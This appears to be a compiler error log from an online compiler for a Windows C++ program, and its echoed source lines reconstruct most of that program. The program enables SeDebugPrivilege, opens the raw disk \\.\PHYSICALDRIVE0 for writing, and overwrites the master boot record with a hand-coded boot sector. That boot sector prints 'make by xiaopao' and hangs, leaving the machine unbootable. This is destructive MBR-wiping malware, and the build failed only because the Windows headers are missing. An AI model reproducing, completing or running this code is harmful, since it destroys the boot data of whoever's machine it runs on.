/in/foo.cc:2:255: error: narrowing conversion of '184' from 'int' to 'char' inside { } [-Wnarrowing]
char temp[512]={0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};
^
/in/foo.cc:2:255: error: narrowing conversion of '205' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '189' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '185' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '184' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '187' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '186' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '205' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '232' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc:2:255: error: narrowing conversion of '254' from 'int' to 'char' inside { } [-Wnarrowing]
/in/foo.cc: In function 'void GetPrivileges()':
/in/foo.cc:4:1: error: 'HANDLE' was not declared in this scope
HANDLE hProcess;
^~~~~~
/in/foo.cc:5:8: error: expected ';' before 'hTokenHandle'
HANDLE hTokenHandle;
^~~~~~~~~~~~
/in/foo.cc:6:1: error: 'TOKEN_PRIVILEGES' was not declared in this scope
TOKEN_PRIVILEGES tp;
^~~~~~~~~~~~~~~~
/in/foo.cc:7:1: error: 'hProcess' was not declared in this scope
hProcess = GetCurrentProcess();
^~~~~~~~
/in/foo.cc:7:30: error: 'GetCurrentProcess' was not declared in this scope
hProcess = GetCurrentProcess();
^
/in/foo.cc:8:28: error: 'TOKEN_ADJUST_PRIVILEGES' was not declared in this scope
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
^~~~~~~~~~~~~~~~~~~~~~~
/in/foo.cc:8:54: error: 'TOKEN_QUERY' was not declared in this scope
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
^~~~~~~~~~~
/in/foo.cc:8:68: error: 'hTokenHandle' was not declared in this scope
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
^~~~~~~~~~~~
/in/foo.cc:8:80: error: 'OpenProcessToken' was not declared in this scope
OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);
^
/in/foo.cc:9:1: error: 'tp' was not declared in this scope
tp.PrivilegeCount =1;
^~
/in/foo.cc:10:27: error: 'SE_DEBUG_NAME' was not declared in this scope
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
^~~~~~~~~~~~~
/in/foo.cc:10:63: error: 'LookupPrivilegeValue' was not declared in this scope
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
^
/in/foo.cc:11:30: error: 'SE_PRIVILEGE_ENABLED' was not declared in this scope
tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
^~~~~~~~~~~~~~~~~~~~
/in/foo.cc:12:36: error: 'FALSE' was not declared in this scope
AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
^~~~~
/in/foo.cc:12:66: error: 'AdjustTokenPrivileges' was not declared in this scope
AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);
^
/in/foo.cc:13:25: error: 'CloseHandle' was not declared in this scope
CloseHandle(hTokenHandle);
^
/in/foo.cc: In function 'void ReadPHYSICALDRIVE0()':
/in/foo.cc:17:1: error: 'HANDLE' was not declared in this scope
HANDLE hFile;
^~~~~~
/in/foo.cc:18:1: error: 'DWORD' was not declared in this scope
DWORD dwReadSize;
^~~~~
/in/foo.cc:20:19: warning: unknown escape sequence: '\P'
char str_Name[] = "\\.\PHYSICALDRIVE0";
^~~~~~~~~~~~~~~~~~~~
/in/foo.cc:21:1: error: 'hFile' was not declared in this scope
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
^~~~~
/in/foo.cc:21:30: error: 'GENERIC_READ' was not declared in this scope
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
^~~~~~~~~~~~
/in/foo.cc:21:45: error: 'GENERIC_WRITE' was not declared in this scope
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
^~~~~~~~~~~~~
/in/foo.cc:21:69: error: 'OPEN_EXISTING' was not declared in this scope
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
^~~~~~~~~~~~~
/in/foo.cc:21:85: error: 'FILE_ATTRIBUTE_NORMAL' was not declared in this scope
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
^~~~~~~~~~~~~~~~~~~~~
/in/foo.cc:21:109: error: 'CreateFile' was not declared in this scope
hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);
^
/in/foo.cc:22:14: error: 'INVALID_HANDLE_VALUE' was not declared in this scope
if (hFile == INVALID_HANDLE_VALUE){
^~~~~~~~~~~~~~~~~~~~
/in/foo.cc:23:34: error: 'MessageBox' was not declared in this scope
MessageBox(0, "wrong", "wrong", 0);
^
/in/foo.cc:25:1: error: 'BYTE' was not declared in this scope
BYTE pMBR[512] ={0};
^~~~
/in/foo.cc:27:8: error: 'pMBR' was not declared in this scope
memcpy(pMBR,temp,sizeof(temp)-1);
^~~~
/in/foo.cc:31:30: error: 'dwReadSize' was not declared in this scope
WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
^~~~~~~~~~
/in/foo.cc:31:46: error: 'WriteFile' was not declared in this scope
WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);
^
/in/foo.cc:19:6: warning: unused variable 'lpBuffer' [-Wunused-variable]
char lpBuffer[512];
^~~~~~~~
/in/foo.cc: At global scope:
/in/foo.cc:33:22: error: '_TCHAR' has not been declared
int _tmain(int argc, _TCHAR* argv[]){
^~~~~~